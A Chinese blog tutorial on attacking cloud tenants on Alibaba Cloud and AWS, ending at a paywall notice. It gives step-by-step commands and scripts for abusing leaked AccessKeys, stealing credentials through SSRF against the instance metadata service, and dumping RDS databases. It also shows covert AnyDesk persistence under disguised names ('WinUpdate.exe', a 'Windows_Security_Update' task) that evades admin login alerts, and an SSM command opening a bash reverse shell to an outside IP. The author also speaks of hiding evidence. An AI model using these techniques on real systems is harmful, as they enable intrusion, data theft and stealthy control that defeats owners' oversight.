1. 首页
  2. 渗透测试

云渗透思路

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

云渗透思路

作者:mx7krshell

标题有点跨张了,主要是云租户的渗透思路。

这篇文章写了很久,也放了很久,在公司内部发表过,所以很难体现这篇文章的价值,也无人关注,也无人看懂,所以还是发出来给大伙学习提供一个思路。

本篇文章主要解决什么问题?

  • 云相关概念以及客户端的渗透方法
  • 阿里云、亚马逊云中存在哪些漏洞?
  • 有哪些工具可用于提升渗透效率?
  • 传统的渗透与云渗透有什么区别?

文章目录结构

  • 云概念
    • Iass、Pass、SaaS
    • 云平台介绍
  • 云平台介绍
  • 云渗透方法思路
  • 国内某云渗透方法
    • AccessKey泄漏利用
      • 渗透场景
      • 云术语概述
      • AccessKey身份验证
      • 利用工具、OpenAPI Explorer调用
    • 绕云防火墙思路
    • 架构层面绕过注入
    • 远程登录绕过
  • Amazon渗透利用思路
    • AWS概述
      • 责任共担模型
      • 身份和访问管理(IAM)
    • S3存储桶配置不当
      • AccessKey连接方式
      • AccessKey泄漏利用
      • S3 Bucklet匿名访问方式
    • Elastic Beanstalk中利用SSRF
      • 实例元数据和用户数据
      • SSRF获取AccessKey
    • EC2RoleforSSM执行命令
    • AWS安全工具介绍

为什么选择云?

以下是我对选择公共云的理解。中小型公司越来越多人选择用云平台,而不再自己购买服务器或者租用服务器,成本高,不安全,有些机房会放些私服游戏服务器导致被DDOS攻击连累自己,而且费用按月结算有时候遗忘交费导致机器被关掉或者格掉,某些机房会用软件把低配置的机器改成高配置欺骗用户(这操作我被强迫干过)。

使用云平台成本更低,可扩展性强,安全性,方便管理,在小机房更容易受到攻击嗅探、ARP、IP冲突劫持域名,有些机房管理员没有职业道德甚至会窃取数据。

国外某些平台可以根据使用多久计算费用,方便开些机器进行测试,例如搞个梯子跳板渗透,临时C2服务器,搞完站就删或者换IP还有拨号主机不留下明显的证据或被人抓到把柄。

云概念

Iaas、Paas、Saas

  • IaaS (基础设施即服务
    • 主要提供:服务器、存储、网络、负载均衡器、防火墙、诸如 DNS 等基础服务
      • 可以根据消耗量购买硬件、可扩展
      • 用户可以在云服务提供商提供的基础设施上部署和运行任何软件,包括操作系统和应用软件。
      • 适合刚创业公司,节省购买硬件的成本。
    • IaaS 云端基本架构模型:云管理器、集群管理器、计算机管理器
    • 风险
      • API安全
      • 用户数据泄漏
      • 密钥控制权、权限细分
  • PaaS(平台即服务
    • 主要提供:数据库、开发环境、Heroku(云平台开发环境)、CRM、Cloud Foundry、OpenStack
    • 优点
      • 使开发人员能够创建自定义应用程序,而无需维护软件
      • Web服务和数据库是集成的
    • 风险
      • 常见的渗透方法
      • 容器安全、逃逸、拒绝服务
  • SaaS(软件即服务
    • 主要提供:Gmail、QQ、Paypal
    • 优点
      • 减少安装、减少的繁琐升级操作、统一管理。
    • 风险
      • 客房端加密方式
      • 云服务端加密方式
云渗透思路

云有云、私有云、混合云

  • 公有云
    • 阿里云属于公有云、成本低、无需维护、高可靠性、缩放性
  • 私有云
    • 专供一个企业或组织使用的资源,可自定义硬件资源
    • 私有云使用对象通常是政府、金融机构等中大型企业
    • 优点
      • 灵活性更高、安全性更高、缩放性更高 
  • 混合云、社区云
    • 私有云与公有云相结合,在两者中之间移动,如一些Web服务放在公有云,敏感数据内部系统放私有云
    • 优点
      • 控制性、灵活性 、成本效益
    • 社区云由多个社区的云组合在一起,可共享资源访问。

云平台介绍

阿里云

阿里云创立于2009年,服务着制造、金融、政务、交通、医疗、电信、能源等众多领域的领军企业,包括中国联通、12306、中石化、中石油、飞利浦、华大基因等大型企业客户,以及微博、知乎、锤子科技等明星互联网公司。

除了国内阿里云还有腾讯云、京东云、青云等,有时候做渗透会涉及到这些云,包括一些犯罪份子也会把网站、股票系统等放在云上,传统针对单个站点渗透与放在云上面的渗透方式区别不大,常规的SQL、XSS、文件包含等,有时候会遇到云盾或者设置了网络安全组80,443可访问,而且每次扫描、操作、都会被记录在云日志中。所以能下手的地方不多,包括使用的数据库都是RDS云提供,脱库方面其实也不难,就不存在于内网渗透这一说法,使用的专有网络VPC,所以在传统下的渗透嗅探、ARP、中间人攻击这类已经失效。除了常规的渗透方式,云也会存在一些相应的漏洞可利用,例如ATT&CK新增加关于云的TTP:

  • 应用程序访问令牌 – T1527
  • 云实例元数据API – T1522
  • 云服务仪表板 – T1538
  • 云服务发现 – T1526
  • 云存储对象 – T1530

Amazon

亚马逊AWS(Amazon Web Services (AWS) )是亚马逊提供的专业云计算服务,于2006年推出,以Web服务的形式向企业提供IT基础设施服务,通常称为云计算。其主要优势之一是能够以根据业务发展来扩展的较低可变成本来替代前期资本基础设施费用。

亚马逊网络服务所提供服务包括:亚马逊弹性计算网云(Amazon EC2)、亚马逊简单储存服务(Amazon S3)、亚马逊简单数据库(Amazon SimpleDB)、亚马逊简单队列服务(Amazon Simple Queue Service)以及Amazon CloudFront等。

全球云主机用的最多的还是AWS,AWS泄漏的用户AccessKey利用比较苛刻,因为不是根用户的AK而是通过IAM创建出来的用户,对访问S3、EC2等都有很细的权限控制。就算拿到了AccessKey都不一定能获取到信息或者直接控制EC2。像AWS要针对单个站点渗透还是比较难的,特别是在没有明显Web漏洞的目标,基本开放的端口也只有80,443,除非用户配置不当允许所有端口可访问。所以遇到阿里的一些目标有些还是可以扫出许多端口,包括远程访问端口等,之前搞SaaS平台过程非常坎坷,历经一个月运气好获得了在TW的跳板机,只有唯一的机器能连接AWS主机连接机器进行管理。研究的人多了避免不了一些安全问题:

  • 配置不当泄漏
  • S3权限配置不当
  • 安全组配置不当
  • IAM权限配置不当
  • 等等

Azure

Windows Azure是微软基于云计算的操作系统,Windows Azure的主要目标是为开发者提供一个平台,帮助开发可运行在云服务器、数据中心、Web和PC上的应用程序。云计算的开发者能使用微软全球数据中心的储存、计算能力和网络基础服务。Azure服务平台包括了以下主要组件:Windows Azure;Microsoft SQL数据库服务,Microsoft .Net服务;用于分享、储存和同步文件的Live服务;针对商业的Microsoft SharePoint和Microsoft Dynamics CRM服务

如果使用Windows操作系统还是选择Azure,AWS 比用于 Windows Server 和 SQL Server 的 Azure 贵 5 倍。Azure更好集成Office 365和Active Directory,像有些同学在学习内网渗透的时候如果自己电脑硬件不允许的话,可以使用Azure创建域环境进行练习。
Azure安全方面也有特别多知识点,这次主要是对AWS安全方面的问题学习。

云渗透方法思路

上了云就一定很安全?比如阿里云的站点基本是国内企业站点,所以安全系数并不会太高,有些渗透测试人员看到IP地址是阿里云、某某盾就会放弃,自己心理的暗示害怕畏惧,黑客精神必需具备迎难而上和精益求精的精神。

其实目标站点都是非法站点,基本还是可以搞我前面也说了,云渗透和常规的渗透是没有任何区别的,只是词变了,本质是一样,也会存在常规的漏洞SQL注入、弱口令、文件上传、网站备份泄漏等等,除了常规的Web漏洞也会随着新技术带来新的风险例如AccessKey泄漏利用、配置不当利用。
除了常规渗透和云客户泄漏出来的AK,通过特殊手段可以获取目标镜像,还原Vmware虚拟机或者通过Diskginus查看文件。

资产信息查找还是和常规渗透一样子域名查找、端口扫描、目录扫描、指纹识别等,在查找的过程中留意AccessKey等密钥,会在APK文件、Github关键词、Web页面、JS文件、常规配置文件、低权限WebShell、Fofa、Zoomeye、Shodan关键词查找。如果是AWS还可以通过DNS缓存、buckets.grayhatwarfare查找。

发现AK通过行云管家、OSS Browser、API Explorer、AWS CLI连接即可,阿里云和AWS权限分配不同,阿里AK有些使用根用户权限较大能直接控制ECS,而AWS获取到的AK有限制,有些则是S3、或者EC2,但并不一定都拥有上传或修改的权限。

阿里遇到常规漏洞注入,使用相同地区机器进行注入,Windows机器上脱库有很多方式,远程陌生IP登录提示可以通过隧道、远控、AnyDesk等工具绕过。

AWS遇到SSRF可以读取元数据、任意文件读取主机信息、可以使用Pacu工具进行自动化测试。

国内某云渗透方法

用户AccessKey泄漏利用

渗透场景

  • APK文件中存放Access Key;
  • Web页面/JS文件等;
  • Github查找目标关键字发现Access Key与AccessKey Secret;
  • 拥有WebShell低权限的情况下搜集阿里云Access Key利用;

云术语概述

RDS

  • 关系型数据库服务(Relational Database Service,简称 RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。
  • RDS 采用即开即用方式,兼容 MySQL、 SQL Server 两种关系型数据库,并提供数据库在线扩容、备份回滚、性能监测 及分析功能。
  • RDS 与云服务器搭配使用 I/O 性能倍增,内网互通避免网络瓶颈。

对象存储 OSS(理解为网盘)

  • 对象存储(Object Storage Service),是阿里云对外提供的海量、安全和高可靠的云存储服务。
  • RESTFul API 的平台无关性,容量和处理能力的弹性扩展,按实际容量付费真正使您专注于核心业务。

ECS

  • 云服务器(Elastic Compute Service,简称ECS)

安全组

  • 安全组是一种虚拟防火墙,具备状态检测和数据包过滤功能,用于在云端划分安全域。
  • 同一安全组内的ECS实例之间默认内网网络互通。

访问控制

  • 对 OSS 的资源访问分为拥有者访问、第三方用户访问。这里的拥有者指的是 Bucket 的拥有者,也称为开发者。
  • 第三方用户是指访问 Bucket 里资源的用 户。 访问又分为匿名访问和带签名访问。
  • 对于 OSS 来说,如果请求中没有携带 任何和身份相关的信息即为匿名访问。
    • 带签名访问指的是按照 OSS API 文档中 规定的在请求头部或者在请求 URL 中携带签名的相关信息。
    • OSS 提供 Bucket 和 Object 的权限访问控制。 

Access Key身份验证

  • 阿里云用户可以在管理控制台里自行创建 Access Key,Access Key是由AccessKey ID 和 AccessKey Secret 组成。
    • 其中 ID 是公开的,用于标识用户身份,Secret 是秘密的,用于用户鉴别。
  • 当用户向 OSS 发送请求时,需要首先将发送的请求按照 OSS 指定的格式生成签名字符串;
    • 然后使用 AccessKey Secret 对签名字符串进行加密(基于HMAC 算法)产生验证码。
    • 验证码带时间戳,以防止重放攻击。
    • OSS 收到请求以后,通过 AccessKey ID 找到对应的 AccessKey Secret,以同样的方法提取签名字符串和验证码,如果计算出来的验证码和提供的一样即认为该请求是有效的;否则,OSS 将拒绝处理这次请求,并返回 HTTP 403 错误。

利用工具

  • OSS Browser
  • OSSUTIL
  • API Explorer
  • 第三方平台 

前两种OSS Browser、OSSUTIL只能对于OSS进行操作,API调试或者第三方写好的工具可以操控ECS。

OSS外网地址由:

https://[Bucket名称].oss-区域.aliyuns.com  
组成
guizideoss.oss-cn-beijing.aliyuncs.com 

实际案例:

云渗透思路

使用行云管家直接导入,获取OSS数据:

云渗透思路

可直接获取阿里云主机进行重置密码等操作:

云渗透思路

OpenAPI Explorer调用

在线API调用操作:https://api.aliyun.com/#/?product=Ecs&api=DescribeRegions

云渗透思路

或CloudShell调试:

云渗透思路

编写脚本:

pip install oss2
pip install aliyun-python-sdk-ecs 

查询一台或多台ECS实例的详细信息,DescribeInstances.py:
其中RegionId必填,地域ID,可以调用DescribeRegions查看最新的阿里云地域列表。

#!/usr/bin/env python
#coding=utf-8

from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest

client = AcsClient(‘LTAccccccWCNnl', 'bxwgOMs0ccccccccccd740CD1e'c 'cn-hangzhou')

request = DescribeInstancesRequest()
request.set_accept_format('json')

response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8')) 
云渗透思路

调用CreateCommand新建一条云助手命令,CreateCommand.py

https://api.aliyun.com/#/?product=Ecs&api=CreateCommand¶ms={}&tab=DOC&lang=PYTHON

Name随便写
Type类型:
可以创建以下类型的命令:

  • Windows实例适用的Bat脚本(RunBatScript)
  • Windows实例适用的PowerShell脚本(RunPowerShellScript)
  • Linux实例适用的Shell脚本(RunShellScript

CommandContent
该参数的值必须使用Base64编码后传输,且脚本内容的大小在Base64编码之后不能超过16KB。

云渗透思路
#!/usr/bin/env python
#coding=utf-8

from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest

client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')

request = CreateCommandRequest()
request.set_accept_format('json')

request.set_Name("test1")
request.set_Type("RunShellScript")
request.set_CommandContent("aWZjb25maWc=")

response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8')) 

把所有API文档看了一遍,我认为会常用的:

DescribeSecurityGroups    查询您创建的安全组的基本信息,例如安全组ID和安全组描述等。返回列表按照安全组ID降序排列。
DescribeCommands          查询您已经创建的云助手命令
DescribeRegions           查询您可以使用的阿里云地域。
DescribeInstances         查询一台或多台ECS实例的详细信息。
GetInstanceConsoleOutput  获取一台实例的系统命令行输出,数据以Base64编码后返回。
DescribeSnapshotPackage   查询您在一个阿里云地域下已经购买的对象存储OSS存储包,存储包可以用于抵扣快照存储容量。
GetInstanceScreenshot     获取实例的截屏信息。
ExportImage               导出您的自定义镜像到与该自定义镜像同一地域的OSS Bucket里。
InvokeCommand             为一台或多台ECS实例触发一条云助手命令。
RunCommand                执行命令 

防护

配置RAM用户,使用RAM用户连接OSS,就算AK泄漏造成的影响也是有限。
RAM (Resource Access Management) 是阿里云为客户提供的用户身份管理与访问控制服务。

  • 使用RAM,您可以创建、管理用户账号(比如员工、系统或应用程序),并可以控制这些用户账号对您名下资源具有的操作权限。
  • 当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低您的企业信息安全风险。
    • 一个云账号下可以创建多个RAM用户,对应企业内的员工、系统或应用程序。
    • RAM用户归属于云账号,只能在所属云账号的空间下可见,而不是独立的云账号。
    • RAM用户必须在获得云账号的授权后才能登录控制台或使用API操作云账号下的资源。
云渗透思路
云渗透思路

默认情况下如果没有创建RAM用户则是使用阿里云创建的用户生成的Access Key则是拥有所有管理权限的,在看文档时候发现可以通过API调用函数可以购买ECS或删除等功能,如果API有转钱的功能就好了!

绕云防火墙

注入

  1. 某云上目标站点存在注入,使用本机sqlmap会被拦截,使用某云提供的机器注入不拦截?
  2. 为什么使用云提供的机器还是会被拦?

第一种情况真实存在,之前使用是2018年,现在目前不太清楚能否也存在同样的问题。
第二种情况是因为买的主机不在同一地区,所以阿里对不同地区还是会拦截。

除了以上方法外注入的语法绕过,这个话量太大,这里暂不讨论,Bypas SQL我可以写一万字。但是所有云WAF和硬件WAF有个特性,就是发送超大数据包无法拦,因为硬件和云需要考虑到性能针对大数据包不处理。

脱库

阿里的数据库是放在内网中,连接地址:qwdqwd12d2.mysql.rds.aliyuncs.com
脱数据库的方法也特别的多,如果本机有安装mysql客户端直接导出,如果没有需要自己上传一个mysql.exe同样可以使用。

mysql -h rds地址 -uroot -pXXXXXX -e "MySQL命令"

脱完数据过大进行打包:

rar.exe a -k -r -s -m1 c:/temp/temp.rar c:/temp/a.sql

为什么这么麻烦不用navicat connect_mysql.php文件脱库? 因为是JSP+MYSQL

远程登录绕过

在渗透中获取了目标帐号密码,不管你出于什么目的,反正要登录3389远程桌面,此时登录时云平台会向管理员发送一条短信提示陌生IP登录。

AnyDesk利用

AnyDesk 是一款声称速度最快的免费长途衔接/长途桌面操控软件,据说是前 TeamViewer 开发小组人员自立门户的商品,它拥有领先的视频压缩技能 DeskRT, 能够轻松穿透防火墙/路由器。  重点是不用安装,而且体积只有2,917KB。
镜外诈骗人员使用修改版本做为远控,发给受害人获取控制电脑权限。

本地anydesk设置自主访问密码,然后生成的配置文件放到目标中,这样只要获取ad.anynet.id即可连接。收费版支持命令行反回ad.anynet.id与设置密码。不需要像免费版这么复杂。

使用场景

  • 云锁,护卫神等禁止3389登录绕过;
  • 阿里云登录3389则会IP报警提示绕过;
  • 内网穿透机器、传输文件等;
  • 白名单软件过全世界所有杀软、流量加密;
  • BlackRouter勒索软件通过AnyDesk捆绑进行传播;

支持操作系统

  • Windows
  • MacOS
  • Android
  • IOS
  • Linux
  • FreeBSD
  • Raspberry Pi
  • Chrome OS

利用条件

  • 桌面用户权
  • anydesk时桌面不能被注

首先本机生成密码:

云渗透思路

配置文件将会保存在:

ad.anynet.pwd_hash与ad.anynet.pwd_salt提取出来。
云渗透思路

service.conf存放

ad.anynet.pwd_hash与ad.anynet.pwd_salt提取出来。

system.conf存放:

ad.anynet.id

Webshell中将Anydesk上传受害者机器,运行一遍Anydesk,然后kill掉

taskkill /F /IM AnyDesk.exe

在进入到

C:\Users\{username}\AppData\Roaming\AnyDesk

路径把以上两个配置写入到service.conf文件下。

云渗透思路

连接:

云渗透思路

命令复现

powershelgl.exe "(New-Object System.Net.WebClient).DownloadFile(\"https://download.anydesk.com/AnyDesk.exe\",\"C:\inetpub\wwwroot\WinUpdate.exe\")"

确定有哪些用户当前正在使用桌面:

powershelgl.exe "(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"explorer.exe\"').GetOwner().User) -split '\n')"

创建一个计划任务:

schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\inetpub\wwwroot\WinUpdate.exe" /RU administrator

先执行一次生成配置文件:

schtasks /run /tn Windows_Security_Update

结束掉进程:

taskkill /F /IM WinUpdate.exe

添加密码

echo ad.anynet.pwd_hash=a7f9ef816567ddeb071c985771698c70a6aec4c70dc284943b3104dcc06b8184 >> C:\Users\administrator\AppData\Roaming\AnyDesk\service.conf
echo ad.anynet.pwd_salt=5afbd8fc7334032ddbddd489363e25f8 >> C:\Users\administrator\AppData\Roaming\AnyDesk\service.conf

利用需要一定条件,除此之外也需要考虑WebShell免杀。

Amazon渗透利用思路

Amazon获取到的AccessKey权限并没有像阿里云那么大,阿里可以直接获取OSS和ECS主机信息,而Amazon通过IAM创建用户和组来限制AccessKey的权限。

80%的云漏洞都因客户配置错误,凭证管理不当泄漏,而不是云提供商的漏洞。

AWS概述

责任共担模型

安全性和合规性是 AWS 和客户的共同责任。这种共担模式可以减轻客户的运营负担,因为 AWS 负责运行、管理和控制从主机操作系统和虚拟层到服务运营所在设施的物理安全性的组件。客户负责管理来宾操作系统(包括更新和安全补丁)、其他相关应用程序软件以及 AWS 提供的安全组防火墙的配置。客户应该仔细考虑自己选择的服务,因为他们的责任取决于所使用的服务,这些服务与其 IT 环境的集成以及适用的法律法规。责任共担还为客户提供了部署需要的灵活性和控制力。

云渗透思路

身份和访问管理(IAM)

IAM是AWS身份访问管理,对AWS资源的访问控制,以向其他人员授予管理和使用您 AWS 账户中的资源的权限,而不必共享您的密码或访问密钥。

AWS IAM工作方式:

云渗透思路

S3存储桶配置不当

Amazon Simple Storage Service (Amazon S3) 是一项面向 Internet 的存储服务。您可以通过 Amazon S3 随时在 Web 上的任何位置存储和检索的任意大小的数据。
可以把S3理解为阿里云的OSS,用于备份和存储、媒体托管、软件传输等。

AccessKey利用的点相当于管理能够增删改查S3 Bucket,但也并非所有S3 Bucket都有这么大的权限,S3 Bucket配置不当主要是创建了允许匿名访问或AK泄漏。

访问形式有三种:

  • http://123.123.123.123:9000
  • s3.区域.amazonaws.com/存储桶名
  • 存储桶名.s3.区域.amazonaws.com

存储桶名称长度必须在 3 到 63 个字符之间
不允许使用大写字符或下划线

美国标准 = http://s3.amazonaws.com
爱尔兰 = http://s3-eu-west-1.amazonaws.com
北加利福尼亚 = http://s3-us-west-1.amazonaws.com
新加坡 = http://s3-ap-southeast-1.amazonaws.com
东京 = http://s3-ap-northeast-1.amazonaws.com

当存在一个域名我们想知道aws名称时可以通过nslookup反查

[root@vultr ~]# host flaws.cloud
flaws.cloud has address 52.218.237.26
[root@vultr ~]# nslookup 52.218.237.26
26.237.218.52.in-addr.arpa	name = s3-website-us-west-2.amazonaws.com.

AccessKey连接方式

直接请示访问拒绝:

curl 192.247.39.3:9000 -s |xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
  <Resource>/</Resource>
  <RequestId>15E3C8767DC585FD</RequestId>
  <HostId>49db7dfe-bdf5-4b2b-bbba-7e3fb2d7e1a3</HostId>
</Error>

正常用户操作:需要Access Key ID、Secret Access Key,配置aws访问buckets:

aws configure
AWS Access Key ID [None]: IVUSXS5xxxxxxK19IG
AWS Secret Access Key [None]: ou3LmvuYhwBuSxxxxxJPh+FiljfxxxxxhrLEB
Default region name [None]:
Default output format [None]:

列出当前用户拥有的存储桶

aws --endpoint http://192.247.39.3:9000 s3api list-buckets
{
    "Buckets": [
        {
            "Name": "hello-world",
            "CreationDate": "2019-09-10T19:57:41.000Z"
        },
        {
            "Name": "private",
            "CreationDate": "2019-09-10T15:12:53.000Z"
        },
        {
            "Name": "public",
            "CreationDate": "2019-09-10T19:50:38.000Z"
        },
        {
            "Name": "welcome",
            "CreationDate": "2019-09-10T19:52:52.000Z"
        }
    ],
    "Owner": {
        "DisplayName": "",
        "ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4"
    }
}

列出hello-world存储桶中的所有文件:

aws --endpoint http://192.247.39.3:9000 s3 ls s3://hello-world
2019-09-11 00:29:55         33 flag
2019-09-11 01:27:41     145374 wallpaper.jpg
2019-09-11 00:30:59         35 welcome

获取hello-world存储桶中的flag文件:

aws --endpoint http://192.247.39.3:9000 s3 cp s3://hello-world/flag ./
download: s3://hello-world/flag to ./flag

更多常用操作方法参考:

s3操作命令:https://docs.aws.amazon.com/cli/latest/reference/s3/index.html

s3api操作:https://docs.aws.amazon.com/cli/latest/reference/s3api/index.html

AccessKey泄漏利用

查找AccessKey方式很多,Github关键词查找:

accessKeyId
secretAccessKey
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY

除了Github也可以通过网站目录或者泄漏出来的源代码或、DEBUG、SSRF读取元数据、后台页面源代码、前页源代码都有可能泄漏出AccessKey。

云渗透思路
云渗透思路
http://aws.localhost.com/js/config.js
http://aws.localhost.com/config.json

通过行云管家连接发现无法连接,只能使用AWS CLI操作。除此之外有些限制了特写浏览器的访问,例如:

云渗透思路

安装AWS CLI

curl "https://d1vvhvl2y92vvt.cloudfront.net/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

需要Access Key ID、Secret Access Key,配置aws访问buckets:

云渗透思路

获取S3敏感文件

aws s3 ls s3://sala-assets-backup/DMA-SALA/
云渗透思路

下载文件:

aws s3 cp s3://sala-assets-backup/DMA-SALA/weblog_hb.sql ./
云渗透思路

其中发现很多站点,有WordPress程序站点

云渗透思路

尝试上传文件与删除,在S3 Bucket存放基本都是备份文件。

aws s3 cp wp-countt.php s3://sala-assets-backup/DMA-SALA/blog.xxxx.com/

清理上传的文件
aws s3 rm s3://sala-assets-backup/DMA-SALA/blog.xxxx.com/wp-countt.php

查看策略

aws s3api get-bucket-policy --bucket sala-assets-backup
{
    "Policy": "{\"Version\":\"2008-10-17\",\"Id\":\"Policy1530688561216\",\"Statement\":[{\"Sid\":\"1\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":\"s3:*\",\"Resource\":\"arn:aws:s3:::sala-assets-backup/*\"}]}"
}

EC2主机

云渗透思路
云渗透思路

S3 Bucket匿名访问方式

公共存储桶策略允许匿名用户列出和读取存储桶中的所有对象,一个是针对某个目标查找S3 Bucket,另一个通过搜索引擎关键词查找。

创建一个拥有匿名访问的S3,在创建S3将阻止全部公共访问权限取消掉,创建出来将会是以匿名的访问方式:

云渗透思路

国外有个网站专门收集S3泄漏信息:https://buckets.grayhatwarfare.com/

云渗透思路

访问匿名S3 Bucket时能直接看到所泄漏的文件直接进行下载。

云渗透思路

Google Hacker

Inurl: s3.amazonaws.com/legacy/
Inurl: s3.amazonaws.com/uploads/
Inurl: s3.amazonaws.com/backup/
Inurl: s3.amazonaws.com/mp3/
Inurl: s3.amazonaws.com/movie/
Inurl: s3.amazonaws.com/video/
inurl: s3.amazonaws.com

DNS缓存
https://findsubdomains.com/

云渗透思路
读
aws s3 ls s3://[bucketname] --no-sign-request

写
aws s3 cp localfile s3://[bucketname]/test-upload.txt --no-sign-request

读ACL
aws s3api get-bucket-acl --bucket [bucketname] --no-sign

写ACL
aws s3api put-bucket-acl --bucket [bucketname] [ACLPERMISSIONS] --no-sign-request

公共存储桶策略允许匿名用户列出和读取存储桶中的所有对象,有些网站并非都这么显示需要通过目录扫发现其它目录中可下载的文件。

aws --endpoint http://192.54.224.3:9000 --no-sign-request s3 ls s3://public

aws --endpoint http://192.54.224.3:9000 --no-sign-request s3 cp s3://public/Desktop/flag ./
云渗透思路

Elastic Beanstalk中利用SSRF

实例元数据和用户数据

实例元数据 是有关您的实例的数据,可以用来配置或管理正在运行的实例。

要从正在运行的实例中查看所有类别的实例元数据,请使用以下 URI。

http://169.254.169.254/latest/meta-data/

IP 地址 169.254.169.254 是链路本地地址,外网无法访问,只有AWS实例才能访问的地址,能从中获得很多敏感信息,但这地址只有在实例上能访问利用的点可以是SSRF访问元数据,获取AccessKey等一些敏感信息,元数据并示进行加密保护。

通过SSRF漏洞访问元数据:

http://13.xx.xx.xx9/page.php?url=http://169.254.169.254/latest/meta-data/ami-id
云渗透思路
云渗透思路

参考官网对应意思:
实例元数据类别
https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/WindowsGuide/instancedata-data-categories.html

云渗透思路

SSRF获取AccessKey

一般EC2主机上网站存在SSRF读取AccessKey可能性不高,这里如果是通过Elastic Beanstalk来部署网站的话就可以直接通过aws-elasticbeanstalk-ec2-role获取AccessKey

Elastic Beanstalk帮你部署好基础设施环境,只需要上传源码即可,不需要考虑LAMP等如何安装,这是因为在Elastic Beanstalk上部署的应用程序中的漏洞,而非Elastic Beanstalk中的缺陷。

读取Secret Access Key、Token等信息

http://webserver-env.xxxxxxx.us-west-1.elasticbeanstalk.com/page.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/
云渗透思路

获取AWS帐户ID和实例Region

http://webserver-env.xxxxxxx.us-west-1.elasticbeanstalk.com/page.php?url=http://169.254.169.254/latest/dynamic/instance-identity/document/
云渗透思路

访问S3 Bucket

export AWS_ACCESS_KEY_ID=ASIA53ZxxxxxxxxxR
export AWS_SECRET_ACCESS_KEY=LfjEcIATv6xxxxxxxxotmw+hnJjWLK3
export AWS_DEFAULT_REGION=us-west-1
export AWS_SESSION_TOKEN=IQoJxxxluX2V

本篇70%可阅读,只收1块钱可阅读全文。
你认为前面70%对你有价值可购买。打赏我一杯咖啡继续写文章吧~

[wshop_paid post_id=”1098″ show_buy_btn=”true”]

云渗透思路

而elasticbeanstalk的S3 Bucket命名方式:Elasticbeanstalk-region-accountid才能访问

aws s3 ls s3://elasticbeanstalk-us-west-1-953xxxxx70170/ --recursive
云渗透思路

看到网上的文章可以直接上传WebShell

aws s3 cp phpinfo.php s3://elasticbeanstalk-us-west-1-9530xxxx0170/
云渗透思路

但无法访问,在后来我了解到通过SSRF获取S3 Bucket然后GetShell是有特殊的条件下才能利用成功,所以通过SSRF顶多能获取AccessKey获取S3 Bucket中的敏感文件等。

EC2RoleforSSM执行命令

利用条件是需要在策略中拥有AmazonEC2RoleforSSM,触发也是需要一定条件。

在EC2实例上远程运行命令
https://aws.amazon.com/cn/getting-started/tutorials/remotely-run-commands-ec2-instance-systems-manager/

查看实例ID

云渗透思路

获取凭证

view-source:http://54.xxx.xxx.180/page.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonEC2RoleforSSM
云渗透思路

导入凭证:

export AWS_ACCESS_KEY_ID=ASIA53ZxxxxxxxxxR
export AWS_SECRET_ACCESS_KEY=LfjEcIATv6xxxxxxxxotmw+hnJjWLK3
export AWS_DEFAULT_REGION=us-west-1
export AWS_SESSION_TOKEN=IQoJxxxluX2V

通过SSM执行命令

aws ssm send-command --instance-ids 'i-0b1ecexxxxxdbc8' --document-name "AWS-RunShellScript" --parameters commands='bash -i >& /dev/tcp/45.xxx.xxx.235/8080 0>&1' --region=us-west-1
云渗透思路

AWS安全工具

Pacu是一种全面的AWS安全测试工具包,专为攻击性安全从业人员设计,Pacu由Rhino Security Labs创建和维护,针对云环境进行进攻性安全测试。

Pacu可用于获取凭据,但它的真正价值并不体现于此,而是在后渗透测试阶段。在此之前
你完全可以通过其它手段来取得凭据,例如网络钓鱼,Web应用程序漏洞,密码重用等。

Pacu能够测试S3 bucket配置和权限缺陷,并通过Lambda后门与其建立访问,妥协EC2实例,窃取数据,提升权限以及通过中断监控和日志记录来覆盖磁道,包括CloudTrail,GuardDuty等。

操作方式类似Metasploit,目前45个功能模块,侦查、枚举、提权、利用、权限维持、日志操作等。

安装

git clone https://github.com/RhinoSecurityLabs/pacu
bash install.sh
python3 pacu.py

Docker安装启用:

docker run -it rhinosecuritylabs/pacu:latest

docker run -it --entrypoint /bin/sh rhinosecuritylabs/pacu:latest

docker run -it -v ~/.aws:/root/.aws rhinosecuritylabs/pacu:latest

常见命令

list     列出所有模块
search   查找模块
whoami   显示访问密钥的信息
data     显示此会话中存储的数据
run/exec      执行模块
service  显示已收集数据的服务的列表
regions  显示所有有效AWS区域的列表
set_keys 向会话添加一组AWS密钥
swap_keys 将当前活动的AWS密钥更改为另一个密钥
help     显示命令帮助功能

导入AWS密钥
import_keys Test
将会读取~/.aws/credentials文件中的Test配置信息。
通过whoami查看当前配置信息

云渗透思路

下载S3数据:

Pacu (54:imported-qwe) > search s3
Pacu (54:imported-qwe) > run s3__download_bucket
  Running module s3__download_bucket...
[s3__download_bucket] Enumerating buckets...
[s3__download_bucket]   Found bucket "dma-live"
[s3__download_bucket]   Found bucket "dma-stage"
[s3__download_bucket]   Found bucket "sala-assets-backup"
[s3__download_bucket] Starting enumerating objects in buckets...

